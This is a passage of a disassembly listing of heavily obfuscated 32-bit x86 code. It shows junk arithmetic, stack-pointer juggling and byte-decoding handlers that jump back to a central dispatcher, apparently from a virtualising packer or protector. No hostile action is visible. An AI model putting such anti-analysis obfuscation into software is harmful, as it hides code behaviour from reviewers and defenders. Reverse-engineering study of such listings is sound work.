		xor	edx, 7C974DF4h
		shl	edx, 8
		sub	esp, 4
		mov	[esp+20h+var_22+2], ebx
		mov	ebx, 31929A1h
		push	edi
		mov	edi, 1
		sub	ebx, edi
		mov	edi, [esp+24h+var_26+2]
		jmp	loc_5BBC20
; ---------------------------------------------------------------------------


loc_5ADB29:				; CODE XREF: sub_5A55E5+160F4j
		mov	[esp+24h+var_26+2], ebx
		mov	ebx, 24h
		add	esi, 276542FCh
		push	eax
		mov	eax, 1A1D141Fh
		not	eax
		sub	eax, 775D2AF5h
		xor	eax, 740BF521h
		sub	esi, eax
		pop	eax
		jmp	loc_5B6A84
; ---------------------------------------------------------------------------


loc_5ADB51:				; CODE XREF: sub_5A55E5+18C5Aj
		pop	[esp+24h+var_26+2]
		mov	esp, [esp+20h+var_22+2]
		btc	word ptr [esp+20h+var_22+2], ax
		pushf
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5ADB62:				; CODE XREF: sub_5A55E5+8A85j
		dec	edx
		sub	edx, 217E3359h
		jmp	loc_5B86E5
; ---------------------------------------------------------------------------


loc_5ADB6E:				; CODE XREF: sub_5A55E5+C53Ej
		push	77D0h
		mov	[esp+28h+var_2A+2], edx
		mov	edx, esp
		jmp	loc_5B0C6D
; ---------------------------------------------------------------------------


loc_5ADB7D:				; CODE XREF: sub_5A55E5+18F74j
		mov	ecx, [esp+28h+var_2A+2]
		add	esp, 4
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+28h+var_2A+2]
		jmp	loc_5BCC7A
; ---------------------------------------------------------------------------


loc_5ADB97:				; CODE XREF: sub_5A55E5+C9E8j
		neg	ebx
		shr	ebx, 7
		xor	ebx, 1DD80198h
		push	ebx
		push	ecx
		mov	ecx, 26F1540Eh
		xor	[esp+30h+var_2E+2], ecx
		jmp	loc_5AFE18
; ---------------------------------------------------------------------------


loc_5ADBB2:				; CODE XREF: sub_5A55E5+9EC9j
		xor	ebx, 62A7D983h
		sub	ecx, ebx
		pop	ebx
		xor	ecx, 0C03B4FCAh
		add	edi, ecx
		push	[esp+2Ch+var_2E+2]
		jmp	loc_5ACD35
; ---------------------------------------------------------------------------


loc_5ADBCB:				; CODE XREF: sub_5A55E5+9D24j
		pop	edx
		push	edx
		jmp	loc_5B56BD
; ---------------------------------------------------------------------------


loc_5ADBD2:				; DATA XREF: sub_5A55E5+429Fo
		mov	cx, word ptr [esp+14h+var_14]
		push	0B2Ch
		mov	[esp+18h+var_18], ebp
		mov	ebp, esp
		add	ebp, 4
		push	ebx
		sub	esp, 4
		mov	[esp+20h+var_22+2], esi
		mov	esi, 18D15BB8h
		push	eax
		mov	eax, 7D096556h
		add	eax, 2FDD444Ah
		sub	eax, 0C5B80556h
		push	eax
		pop	ebx
		pop	eax
		add	ebx, esi
		push	[esp+20h+var_22+2]
		pop	esi
		add	esp, 4
		sub	ebp, 2D3D6880h
		push	esi
		jmp	loc_5AB70E
; ---------------------------------------------------------------------------


loc_5ADC1D:				; CODE XREF: sub_5A55E5+C1CDj
		pop	esi
		pop	[esp+1Ch+var_1C]
		pop	esp
		push	72Bh
		jmp	loc_5AA981
; ---------------------------------------------------------------------------


loc_5ADC2C:				; CODE XREF: sub_5A55E5+78FDj
		add	ebp, 4
		xchg	ebp, [esp+4Eh+var_50+2]
		pop	esp
		jmp	loc_5B40FE
; ---------------------------------------------------------------------------


loc_5ADC3B:				; CODE XREF: sub_5A55E5+1508Bj
		add	edx, 2E8D2E8Bh
		jmp	loc_5B4C04
; ---------------------------------------------------------------------------


loc_5ADC46:				; CODE XREF: sub_5A55E5+13148j
		pop	eax
		add	eax, 1
		add	eax, 9DE9A768h
		push	eax
		jmp	loc_5B8049
; ---------------------------------------------------------------------------


loc_5ADC55:				; CODE XREF: sub_5A55E5+F2A4j
		mov	ah, 6
		not	ah
		and	ah, 0DAh
		push	ecx
		mov	cl, 0A7h
		not	cl
		jmp	loc_5B9015
; ---------------------------------------------------------------------------


loc_5ADC66:				; CODE XREF: sub_5A55E5+13FF2j
		pop	ebp
		jmp	loc_5BA874
; ---------------------------------------------------------------------------


loc_5ADC6C:				; DATA XREF: sub_5A55E5+42E7o
		mov	ax, word ptr [esp+14h+var_14]
		push	78ADh
		mov	[esp+18h+var_18], ebp
		jmp	loc_5B23B9
; ---------------------------------------------------------------------------


loc_5ADC7D:				; CODE XREF: sub_5A55E5+477Aj
		mov	edx, 338415E0h
		sub	[esp+2Eh+var_2A], 541C214Ah
		jmp	loc_5AE7B4
; ---------------------------------------------------------------------------


loc_5ADC8F:				; CODE XREF: sub_5A55E5+19E70j
		mov	[esp+2Eh+var_2E], edx
		jmp	loc_5B19FA
; ---------------------------------------------------------------------------


loc_5ADC97:				; CODE XREF: sub_5A55E5+F1A1j
		pop	ecx
		not	al
		add	al, 5Fh
		xor	dh, al
		push	[esp+2Ah+var_2A]
		pop	eax
		jmp	loc_5BC7ED
; ---------------------------------------------------------------------------


loc_5ADCA7:				; CODE XREF: sub_5A55E5+1469Dj
		mov	eax, [esp+2Ah+var_2A]
		add	esp, 4
		pop	edx
		add	esi, eax
		jmp	loc_5B2C0F
; ---------------------------------------------------------------------------


loc_5ADCB5:				; CODE XREF: sub_5A55E5+1885Fj
		mov	edi, [esp+22h+var_22]
		jmp	loc_5B8944
; ---------------------------------------------------------------------------


loc_5ADCBD:				; CODE XREF: sub_5A55E5+152DEj
		add	bh, 1
		jmp	loc_5ADD70
; ---------------------------------------------------------------------------


loc_5ADCC5:				; CODE XREF: sub_5A55E5+6F88j
		add	esp, 4
		add	ebp, esi
		pop	esi
		push	4D29h
		jmp	loc_5B7D3F
; ---------------------------------------------------------------------------


loc_5ADCD5:				; DATA XREF: sub_5A55E5+4163o
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp+18h+var_18]
		mov	esp, [esp+18h+var_18]
		jmp	loc_5BE947
; ---------------------------------------------------------------------------


loc_5ADCEC:				; CODE XREF: sub_5A55E5+156A3j
		sub	bh, 4Eh
		sub	bh, 0CBh
		jmp	loc_5B56F5
; ---------------------------------------------------------------------------


loc_5ADCF7:				; CODE XREF: sub_5A55E5+6609j
		neg	bh
		xor	bh, 4Bh
		sub	dl, bh
		mov	ebx, [esp+26h+var_26]
		jmp	loc_5BA57A
; ---------------------------------------------------------------------------


loc_5ADD06:				; CODE XREF: sub_5A55E5+14D5Aj
		xor	[esp+26h+var_26], ecx
		xor	ecx, [esp+26h+var_26]
		mov	esp, [esp+26h+var_26]
		push	[esp+26h+var_26]
		mov	eax, [esp+2Ah+var_2A]
		push	ebp
		mov	ebp, esp
		jmp	loc_5AF13E
; ---------------------------------------------------------------------------


loc_5ADD1D:				; CODE XREF: sub_5A55E5+DACDj
		mov	al, cl
		jmp	loc_5B74EC
; ---------------------------------------------------------------------------


loc_5ADD24:				; CODE XREF: sub_5A55E5+A46Dj
		dec	ebx
		add	ebx, 5BDF6A28h
		add	ebx, 0C999BF7Ah
		sub	eax, ebx
		jmp	loc_5BD0A1
; ---------------------------------------------------------------------------


loc_5ADD38:				; CODE XREF: sub_5A55E5+105CAj
		mov	[esp+2Eh+var_2E], ecx
		mov	ecx, ebx
		mov	[edi+40h], ecx
		jmp	loc_5AE076
; ---------------------------------------------------------------------------


loc_5ADD45:				; CODE XREF: sub_5A55E5+6476j
		push	eax
		push	79613E7Fh
		pop	eax
		push	4A85h
		mov	[esp+4Eh+var_50+2], ecx
		mov	ecx, 79613E5Bh
		jmp	loc_5B131A
; ---------------------------------------------------------------------------


loc_5ADD5E:				; CODE XREF: sub_5A55E5+19710j
		sub	ebx, edx
		jmp	loc_5BE913
; ---------------------------------------------------------------------------


loc_5ADD65:				; CODE XREF: sub_5A55E5+1846Fj
		add	edx, 4
		jmp	loc_5AC167
; ---------------------------------------------------------------------------


loc_5ADD70:				; CODE XREF: sub_5A55E5+86DBj
		shr	bh, 2
		jmp	loc_5AF7E3
; ---------------------------------------------------------------------------


loc_5ADD78:				; CODE XREF: sub_5A55E5+F095j
		xor	ebx, ebp
		mov	ebp, [esp+22h+var_22]
		add	esp, 4
		add	ebp, ebx
		jmp	loc_5B7A17
; ---------------------------------------------------------------------------


loc_5ADD87:				; CODE XREF: sub_5A55E5+E581j
		add	ecx, ebx
		sub	ecx, 7C9A7F25h
		jmp	loc_5B2BA3
; ---------------------------------------------------------------------------


loc_5ADD94:				; CODE XREF: sub_5A55E5+C724j
		add	ecx, 8AD64494h
		mov	esi, ecx
		pop	ecx
		sub	edx, esi
		pop	esi
		push	edx
		push	[esp+1Ah+var_18+2]
		jmp	loc_5B59B3
; ---------------------------------------------------------------------------


loc_5ADDAA:				; CODE XREF: sub_5A55E5+13614j
		xor	edx, [esp+0]
		jmp	loc_5AF0ED
; ---------------------------------------------------------------------------


loc_5ADDB2:				; CODE XREF: sub_5A55E5+DFD2j
		push	cx
		pushf
		jmp	loc_5BC45A
; ---------------------------------------------------------------------------


loc_5ADDBA:				; CODE XREF: sub_5A55E5+185B6j
		xor	eax, ecx
		push	[esp+24h+var_26+2]
		push	[esp+28h+var_2A+2]
		pop	ecx
		jmp	loc_5BE71F
; ---------------------------------------------------------------------------


loc_5ADDC8:				; CODE XREF: sub_5A55E5+17805j
		push	ebx
		mov	ebx, 7F944CE9h
		add	ebx, 3A772B98h
		sub	ebx, 637F502Ah
		shl	ebx, 2
		jmp	loc_5AF3A2
; ---------------------------------------------------------------------------


loc_5ADDE2:				; CODE XREF: sub_5A55E5+9B95j
		pop	ecx
		push	ebx
		push	[esp+2Ch+var_2A+2]
		mov	ebx, [esp+30h+var_32+2]
		add	esp, 4
		jmp	loc_5B635D
; ---------------------------------------------------------------------------


loc_5ADDF6:				; CODE XREF: sub_5A55E5+1626Fj
		sub	edi, 78167F85h
		add	ebx, edi
		pop	edi
		pop	esi
		add	eax, 4C42921h
		sub	eax, 13921C11h
		sub	eax, ebx
		jmp	loc_5BAC2E
; ---------------------------------------------------------------------------


loc_5ADE11:				; CODE XREF: sub_5A55E5+DCB9j
		xor	ebx, [esp+24h+var_26+2]
		mov	esp, [esp+24h+var_26+2]
		jmp	loc_5AB73E
; ---------------------------------------------------------------------------


loc_5ADE1C:				; DATA XREF: sub_5A55E5+42BFo
		lodsb
		add	al, 8Bh
		push	7F0Ch
		mov	[esp+18h+var_18], ebx
		mov	bl, 0ABh
		not	bl
		add	bl, 91h
		add	al, bl
		jmp	loc_5BC255
; ---------------------------------------------------------------------------


loc_5ADE35:				; CODE XREF: sub_5A55E5+BF13j
		add	ebx, 4
		jmp	loc_5B0C0E
; ---------------------------------------------------------------------------


loc_5ADE40:				; CODE XREF: sub_5A55E5+FEC4j
		mov	[esp+18h+var_18], edx
		mov	edx, 63D9251Ch
		dec	edx
		add	edx, 1
		sub	esp, 4
		jmp	loc_5BA75D
; ---------------------------------------------------------------------------


loc_5ADE5A:				; CODE XREF: sub_5A55E5+D5B9j
		mov	esp, [esp+1Ch+var_1C]
		push	edi
		push	5237h
		jmp	loc_5B0B14
; ---------------------------------------------------------------------------


loc_5ADE68:				; CODE XREF: sub_5A55E5+5262j
		mov	ecx, [esp+22h+var_22]
		add	esp, 4
		add	esp, 4
		push	3224h
		mov	[esp+0], eax
		push	esp
		mov	eax, [esp+22h+var_22]
		jmp	loc_5BCE64
; ---------------------------------------------------------------------------


loc_5ADE85:				; CODE XREF: sub_5A55E5+6282j
		push	[esp+64h+var_60]
		pop	edi
		pop	[esp+64h+var_64]
		mov	esp, [esp+60h+var_60]
		add	eax, 4E2523Ch
		add	eax, ebx
		jmp	loc_5B7976
; ---------------------------------------------------------------------------


loc_5ADE9C:				; CODE XREF: sub_5A55E5+A82Ej
		shl	edx, 6
		jmp	loc_5AC28E
; ---------------------------------------------------------------------------


loc_5ADEA4:				; CODE XREF: sub_5A55E5+B561j
		push	ebx
		mov	ebx, 7E6F572Fh
		or	ebx, 72A228B2h
		xchg	esi, ebx
		not	esi
		xchg	esi, ebx
		not	ebx
		jmp	loc_5BE5A2
; ---------------------------------------------------------------------------


loc_5ADEBD:				; CODE XREF: sub_5A55E5+D277j
		shr	ebp, 3
		push	ecx
		mov	ecx, 2C951B08h
		not	ecx
		jmp	loc_5B3BB6
; ---------------------------------------------------------------------------


loc_5ADECD:				; CODE XREF: sub_5A55E5+179B7j
		mov	bx, word ptr [esp+68h+var_68]
		add	esp, 2
		push	edx
		mov	dl, 37h
		xor	dl, 0CEh
		xor	dl, 73h
		add	al, dl
		jmp	loc_5ACD8F
; ---------------------------------------------------------------------------


loc_5ADEE4:				; CODE XREF: sub_5A55E5+1789Cj
		mov	esi, 21DC18D3h
		sub	esp, 4
		jmp	loc_5BEB22
; ---------------------------------------------------------------------------


loc_5ADEF4:				; DATA XREF: sub_5A55E5+4357o
		xor	[esp+14h+var_14], ebp
		xor	ebp, [esp+14h+var_14]
		jmp	loc_5B4FBE
; ---------------------------------------------------------------------------


loc_5ADEFF:				; CODE XREF: sub_5A55E5+4CBCj
		neg	eax
		dec	eax
		or	eax, 54213919h
		xor	eax, 91A86D7Bh
		jmp	loc_5BB728
; ---------------------------------------------------------------------------


loc_5ADF11:				; CODE XREF: sub_5A55E5+7FE4j
		push	ebx
		mov	ebx, 0B085375h
		jmp	loc_5BEE79
; ---------------------------------------------------------------------------


loc_5ADF1C:				; CODE XREF: sub_5A55E5+7545j
		push	ebx
		push	esp
		pop	ebx
		push	edx
		push	ebp
		mov	ebp, 4
		mov	edx, ebp
		pop	ebp
		add	ebx, edx
		pop	edx
		add	ebx, 4
		xchg	ebx, [esp+32h+var_32]
		pop	esp
		sub	esp, 4
		mov	[esp+32h+var_32], ebp
		mov	ebp, 793C506Dh
		neg	ebp
		shr	ebp, 6
		push	6283h
		mov	[esp+36h+var_36], edi
		mov	edi, 3E403C96h
		xor	edi, 11620520h
		neg	edi
		push	ebp
		jmp	loc_5B6829
; ---------------------------------------------------------------------------


loc_5ADF5E:				; CODE XREF: sub_5A55E5+D7F2j
		push	esi
		mov	esi, 407F730Bh
		shl	esi, 7
		push	ebx
		mov	ebx, 12843995h
		sub	esi, ebx
		pop	ebx
		add	esi, 0FFFFFFFFh
		push	edi
		mov	edi, 19B74B94h
		jmp	loc_5B721C
; ---------------------------------------------------------------------------


loc_5ADF7E:				; CODE XREF: sub_5A55E5+C0FDj
		pop	esp
		bts	word ptr [esp+3Eh+var_3E], ax
		pushf
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5ADF8A:				; CODE XREF: sub_5A55E5+9390j
		add	ebp, edi
		push	esi
		jmp	loc_5B13F3
; ---------------------------------------------------------------------------


loc_5ADF92:				; CODE XREF: sub_5A55E5+BEC0j
		push	7E9Bh
		mov	[esp+4Ah+var_4A], edx
		mov	edx, esp
		add	edx, 4
		push	2FB2h
		mov	[esp+4Eh+var_50+2], ebp
		mov	ebp, 4
		jmp	loc_5AE81B
; ---------------------------------------------------------------------------


loc_5ADFB4:				; CODE XREF: sub_5A55E5+196EAj
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5ADFB9:				; CODE XREF: sub_5A55E5+7E77j
		push	eax
		mov	eax, 4
		add	edi, eax
		pop	eax
		add	edi, 4
		xchg	edi, [esp+20h+var_22+2]
		pop	esp
		xor	ebp, [esp+1Ch+var_1C]
		xor	[esp+1Ch+var_1C], ebp
		xor	ebp, [esp+1Ch+var_1C]
		mov	esp, [esp+1Ch+var_1C]
		push	[esp+1Ch+var_1C]
		jmp	loc_5B7696
; ---------------------------------------------------------------------------


loc_5ADFE0:				; CODE XREF: sub_5A55E5+177B4j
		pop	edx
		add	ecx, 2
		jmp	loc_5B500E
; ---------------------------------------------------------------------------


loc_5ADFEC:				; CODE XREF: sub_5A55E5+97C7j
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp+1Ch+var_1C]
		pop	esp
		mov	[esp+18h+var_18], ebx
		sub	esp, 4
		mov	[esp+1Ch+var_1C], ecx
		push	esi
		push	3E183C36h
		pop	esi
		add	esi, 18233B84h
		shl	esi, 4
		jmp	loc_5B6E44
; ---------------------------------------------------------------------------


loc_5AE01D:				; CODE XREF: sub_5A55E5+8E6Fj
		push	eax
		jmp	loc_5BD728
; ---------------------------------------------------------------------------


loc_5AE023:				; CODE XREF: sub_5A55E5+F369j
		push	ebp
		mov	ebp, 398A37FBh
		jmp	loc_5AC693
; ---------------------------------------------------------------------------


loc_5AE02E:				; CODE XREF: sub_5A55E5+1640Ej
		add	edi, ebp
		pop	ebp
		xchg	edi, [esp+24h+var_26+2]
		mov	esp, [esp+24h+var_26+2]
		idiv	ecx
		push	7F9h
		mov	[esp+28h+var_2A+2], edx
		mov	edx, esp
		sub	esp, 4
		jmp	loc_5AA7B7
; ---------------------------------------------------------------------------


loc_5AE04E:				; CODE XREF: sub_5A55E5+A00Dj
		sub	edi, 1
		push	esi
		mov	esi, 2D6E6423h
		jmp	loc_5BF0FD
; ---------------------------------------------------------------------------


loc_5AE05C:				; DATA XREF: sub_5A55E5+41B7o
		mov	esp, [esp+10h+var_10]
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5AE064:				; CODE XREF: sub_5A55E5+927Cj
		and	edx, 944025Eh
		jmp	loc_5ADB62
; ---------------------------------------------------------------------------


loc_5AE06F:				; CODE XREF: sub_5A55E5+10C7Aj
		sub	ebx, edi
		jmp	loc_5B6663
; ---------------------------------------------------------------------------


loc_5AE076:				; CODE XREF: sub_5A55E5+875Bj
		pop	ecx
		push	[esp+2Ah+var_2A]
		mov	ebx, [esp+2Eh+var_2E]
		push	esi
		mov	esi, esp
		jmp	loc_5AF92E
; ---------------------------------------------------------------------------


loc_5AE085:				; CODE XREF: sub_5A55E5+A4E8j
		xor	ebp, edx
		jmp	loc_5BD740
; ---------------------------------------------------------------------------


loc_5AE08C:				; CODE XREF: sub_5A55E5+D17Cj
		mov	[esp+32h+var_32], esi
		jmp	loc_5B603D
; ---------------------------------------------------------------------------


loc_5AE094:				; CODE XREF: sub_5A55E5+BE79j
		push	edx
		mov	edx, 5FC4054Dh
		shl	edx, 6
		push	ebx
		mov	ebx, 56824F4Dh
		xor	edx, ebx
		mov	ebx, [esp+3Ah+var_3A]
		add	esp, 4
		push	ebp
		mov	ebp, 429C7CF5h
		or	edx, ebp
		jmp	loc_5BC092
; ---------------------------------------------------------------------------


loc_5AE0B8:				; CODE XREF: sub_5A55E5+EB98j
		mov	dx, word ptr [esp+3Ah+var_3A]
		jmp	loc_5B66B7
; ---------------------------------------------------------------------------


loc_5AE0C1:				; DATA XREF: sub_5A55E5+4337o
		push	[esp+14h+var_14]
		push	[esp+18h+var_18]
		pop	eax
		push	3235h
		mov	[esp+1Ch+var_1C], edi
		push	esp
		pop	edi
		add	edi, 4
		push	43EFh
		mov	[esp+20h+var_22+2], ebx
		mov	ebx, 4
		add	edi, ebx
		pop	ebx
		xchg	edi, [esp+1Ch+var_1C]
		jmp	loc_5BC245
; ---------------------------------------------------------------------------


loc_5AE0F0:				; CODE XREF: sub_5A55E5+17287j
		push	2609h
		mov	[esp+20h+var_22+2], esi
		push	281E7E4Eh
		jmp	loc_5AD072
; ---------------------------------------------------------------------------


loc_5AE102:				; CODE XREF: sub_5A55E5+17093j
		mov	esi, 1BA2AC3h
		dec	esi
		not	esi
		inc	esi
		jmp	loc_5AC78B
; ---------------------------------------------------------------------------


loc_5AE110:				; CODE XREF: sub_5A55E5+15CFEj
		push	small 5FA9h
		mov	word ptr [esp+26h+var_26], cx
		jmp	loc_5B6C2E
; ---------------------------------------------------------------------------


loc_5AE11D:				; CODE XREF: sub_5A55E5+169C9j
		sub	edi, 226D38A7h
		jmp	loc_5B1658
; ---------------------------------------------------------------------------


loc_5AE128:				; CODE XREF: sub_5A55E5+1079Cj
		push	[esp+26h+var_22]
		pop	esi
		pop	[esp+26h+var_26]
		pop	esp
		mul	cl
		movzx	cx, ah
		jmp	loc_5B4510
; ---------------------------------------------------------------------------


loc_5AE13C:				; CODE XREF: sub_5A55E5+18189j
		shl	edx, 1
		push	dword ptr [edi+24h]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp+26h+var_26]
		pop	esp
		mov	[esp+22h+var_22], eax
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp+26h+var_26]
		pop	esp
		mov	[esp+22h+var_22], ecx
		mov	ecx, 19C16611h
		push	eax
		mov	eax, 1
		add	ecx, eax
		pop	eax
		sub	ecx, 0FFFFFFFFh
		dec	ecx
		sub	ecx, 1
		inc	ecx
		sub	esp, 4
		mov	[esp+26h+var_26], edx
		mov	edx, 19C16613h
		jmp	loc_5BE5C9
; ---------------------------------------------------------------------------


loc_5AE193:				; CODE XREF: sub_5A55E5+4634j
		or	ch, 29h
		add	ch, 10h
		add	al, ch
		pop	cx
		sub	bl, al
		jmp	loc_5BB983
; ---------------------------------------------------------------------------


loc_5AE1A4:				; CODE XREF: sub_5A55E5+D7D2j
		or	ecx, 7F12822h
		push	ebx
		mov	ebx, 25CE160Eh
		not	ebx
		sub	ebx, 5B3B199Fh
		or	ebx, 5F7B7B90h
		push	esi
		push	ebp
		mov	ebp, 77191A13h
		shr	ebp, 6
		inc	ebp
		dec	ebp
		shl	ebp, 4
		jmp	loc_5AD672
; ---------------------------------------------------------------------------


loc_5AE1D2:				; CODE XREF: sub_5A55E5+19977j
		sub	esi, 41734FD5h
		sub	esi, ebp
		add	esi, 41734FD5h
		jmp	loc_5B67C7
; ---------------------------------------------------------------------------


loc_5AE1E5:				; CODE XREF: sub_5A55E5+5B57j
		shl	ecx, 8
		jmp	loc_5BBEEC
; ---------------------------------------------------------------------------


loc_5AE1ED:				; CODE XREF: sub_5A55E5+17C06j
		mov	esp, [esp+24h+var_26+2]
		jmp	loc_5ACF01
; ---------------------------------------------------------------------------


loc_5AE1F5:				; CODE XREF: sub_5A55E5+17A6Aj
		push	edx
		push	eax
		push	6EE0177Bh
		pop	eax
		or	eax, 419772B0h
		shl	eax, 3
		jmp	loc_5B5B78
; ---------------------------------------------------------------------------


loc_5AE20A:				; CODE XREF: sub_5A55E5+17E93j
		shl	esi, 2
		add	esi, 40009609h
		push	ecx
		jmp	loc_5B5EE1
; ---------------------------------------------------------------------------


loc_5AE219:				; CODE XREF: sub_5A55E5+ED1Bj
		pop	esi
		add	eax, esi
		pop	esi
		add	eax, 4
		push	eax
		push	[esp+2Ch+var_2A+2]
		pop	eax
		pop	[esp+2Ch+var_2E+2]
		pop	esp
		add	bl, ah
		pop	eax
		movzx	eax, al
		jmp	loc_5BCA32
; ---------------------------------------------------------------------------


loc_5AE237:				; CODE XREF: sub_5A55E5+13A8Ej
		add	esp, 4
		sub	ebp, 2
		xchg	ebp, [esp+1Ch+var_1C]
		jmp	loc_5ACC05
; ---------------------------------------------------------------------------


loc_5AE248:				; CODE XREF: sub_5A55E5+5499j
		mov	edi, 54623240h
		mov	ecx, edi
		pop	edi
		shr	ecx, 4
		inc	ecx
		add	ecx, 0FFFFFFFFh
		jmp	loc_5ABB5B
; ---------------------------------------------------------------------------


loc_5AE25C:				; CODE XREF: sub_5A55E5+10519j
		sub	esp, 4
		mov	[esp+32h+var_32], eax
		mov	eax, 5439A4C1h
		xor	ecx, eax
		pop	eax
		mov	esi, ecx
		pop	ecx
		jmp	loc_5BE1CB
; ---------------------------------------------------------------------------


loc_5AE272:				; CODE XREF: sub_5A55E5+788Cj
		add	esp, 4
		push	1941h
		mov	[esp+1Ch+var_1C], ecx
		mov	ecx, 77F36FF5h
		neg	ecx
		add	ecx, 77F36FF9h
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xor	ebp, [esp+20h+var_22+2]
		xor	[esp+20h+var_22+2], ebp
		xor	ebp, [esp+20h+var_22+2]
		jmp	loc_5A9F74
; ---------------------------------------------------------------------------


loc_5AE2AA:				; CODE XREF: sub_5A55E5+187A1j
		xor	ebp, [esp+20h+var_22+2]
		jmp	loc_5BE199
; ---------------------------------------------------------------------------


loc_5AE2B2:				; DATA XREF: sub_5A55E5+42EFo
		mov	cx, word ptr [esp+14h+var_14]
		push	esi
		mov	esi, esp
		push	ebx
		push	esi
		jmp	loc_5B10F3
; ---------------------------------------------------------------------------


loc_5AE2C0:				; CODE XREF: sub_5A55E5+B0FAj
		push	0A68h
		mov	[esp+24h+var_26+2], eax
		push	0B3E04D4h
		pop	eax
		dec	eax
		jmp	loc_5B3AB4
; ---------------------------------------------------------------------------


loc_5AE2D4:				; CODE XREF: sub_5A55E5+AB3Dj
		add	esi, ebx
		jmp	loc_5B5F75
; ---------------------------------------------------------------------------


loc_5AE2DB:				; CODE XREF: sub_5A55E5+15BCEj
		push	ebp
		jmp	loc_5BBFFC
; ---------------------------------------------------------------------------


loc_5AE2E1:				; CODE XREF: sub_5A55E5+C105j
		xchg	ebp, [esp+28h+var_2A+2]
		jmp	loc_5BC7F8
; ---------------------------------------------------------------------------


loc_5AE2E9:				; CODE XREF: sub_5A55E5+14990j
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5AE2EE:				; CODE XREF: sub_5A55E5+1453Aj
		pop	edx
		add	al, 0DAh
		sub	al, bl
		sub	al, 0DAh
		jmp	loc_5AC549
; ---------------------------------------------------------------------------


loc_5AE2FA:				; CODE XREF: sub_5A55E5+17D7Cj
		mov	ebp, 7BB566CCh
		jmp	loc_5AC34A
; ---------------------------------------------------------------------------


loc_5AE304:				; CODE XREF: sub_5A55E5+1137Bj
		add	esp, 4
		add	bl, 6Ah
		push	57FEh
		mov	[esp+24h+var_26+2], eax
		push	38D5h
		mov	[esp+28h+var_2A+2], edx
		mov	dl, 0F6h
		push	ecx
		jmp	loc_5AB835
; ---------------------------------------------------------------------------


loc_5AE322:				; CODE XREF: sub_5A55E5+FD46j
		add	esp, 4
		add	edx, ebx
		pop	ebx
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5AE330:				; CODE XREF: sub_5A55E5+1751Bj
		pop	ecx
		mov	eax, ecx
		push	[esp+20h+var_22+2]
		mov	ecx, [esp+24h+var_26+2]
		jmp	loc_5AB20D
; ---------------------------------------------------------------------------


loc_5AE33E:				; CODE XREF: sub_5A55E5+10576j
		mov	ecx, 6BD05772h
		and	ecx, 1AD16143h
		jmp	loc_5AB992
; ---------------------------------------------------------------------------


loc_5AE34E:				; CODE XREF: sub_5A55E5+BB42j
		dec	al
		neg	al
		sub	al, 13h
		sub	bl, al
		pop	eax
		add	bl, ah
		push	ecx
		mov	cl, 5
		add	bl, cl
		pop	ecx
		jmp	loc_5BAAB9
; ---------------------------------------------------------------------------


loc_5AE364:				; CODE XREF: sub_5A55E5+4A62j
		mov	esp, [esp+1Ch+var_1C]
		sub	ebp, esi
		pop	esi
		push	eax
		jmp	loc_5ACC5E
; ---------------------------------------------------------------------------


loc_5AE370:				; CODE XREF: sub_5A55E5+7B20j
		add	[esp+14h+var_10], esi
		pop	esi
		push	[esp+10h+var_10]
		pop	ecx
		add	esp, 4
		sub	ecx, 34726664h
		jmp	loc_5B89B3
; ---------------------------------------------------------------------------


loc_5AE38A:				; CODE XREF: sub_5A55E5+B572j
		mov	esp, [esp+0Ch+var_C]
		jmp	loc_5AC283
; ---------------------------------------------------------------------------


loc_5AE392:				; CODE XREF: sub_5A55E5+18BCBj
		pop	edx
		jmp	loc_5B99B6
; ---------------------------------------------------------------------------


loc_5AE398:				; CODE XREF: sub_5A55E5+BE3Ej
		and	ebp, 74DC5C9Fh
		sub	ebp, 0A51C93ACh
		xor	edi, ebp
		jmp	loc_5AB1AE
; ---------------------------------------------------------------------------


loc_5AE3AB:				; CODE XREF: sub_5A55E5+598Ej
		sub	esi, 0D4F1F341h
		sub	ebx, esi
		pop	esi
		sub	eax, ebx
		pop	ebx
		mov	edi, [esp+14h+var_14]
		push	ebx
		push	esp
		pop	ebx
		jmp	loc_5B12B8
; ---------------------------------------------------------------------------


loc_5AE3C2:				; CODE XREF: sub_5A55E5+11595j
		xchg	ebp, [esp+18h+var_18]
		mov	esp, [esp+18h+var_18]
		sub	eax, 55D132CAh
		sub	eax, 55B3058Ah
		add	eax, ebx
		push	ebp
		mov	ebp, 55B3058Ah
		add	eax, ebp
		pop	ebp
		push	esi
		mov	esi, 55D132CAh
		jmp	loc_5B848B
; ---------------------------------------------------------------------------


loc_5AE3E8:				; CODE XREF: sub_5A55E5+A7A8j
		xchg	ebx, [esp+1Ch+var_1C]
		jmp	loc_5B5818
; ---------------------------------------------------------------------------


loc_5AE3F0:				; CODE XREF: sub_5A55E5+11833j
		shl	edx, 2
		push	2B5Bh
		mov	[esp+20h+var_22+2], ebx
		mov	ebx, 5D9D5F88h
		neg	ebx
		jmp	loc_5B72DB
; ---------------------------------------------------------------------------


loc_5AE407:				; CODE XREF: sub_5A55E5+C2A7j
		push	esp
		pop	ecx
		add	ecx, 4
		push	esi
		mov	esi, 4
		jmp	loc_5B6984
; ---------------------------------------------------------------------------


loc_5AE41A:				; DATA XREF: sub_5A55E5+4263o
		lodsb
		add	al, 9Eh
		jmp	loc_5B0DD0
; ---------------------------------------------------------------------------


loc_5AE422:				; CODE XREF: sub_5A55E5+18C7Cj
		push	edx
		mov	edx, 8315AE9h
		or	edi, edx
		jmp	loc_5AB97F
; ---------------------------------------------------------------------------


loc_5AE42F:				; CODE XREF: sub_5A55E5+13ABCj
		xor	ecx, [esp+18h+var_18]
		mov	esp, [esp+18h+var_18]
		mov	[esp+18h+var_18], edx
		push	eax
		pushf
		jmp	loc_5BD542
; ---------------------------------------------------------------------------


loc_5AE43F:				; CODE XREF: sub_5A55E5+E176j
		mov	ecx, 68F71E9Bh
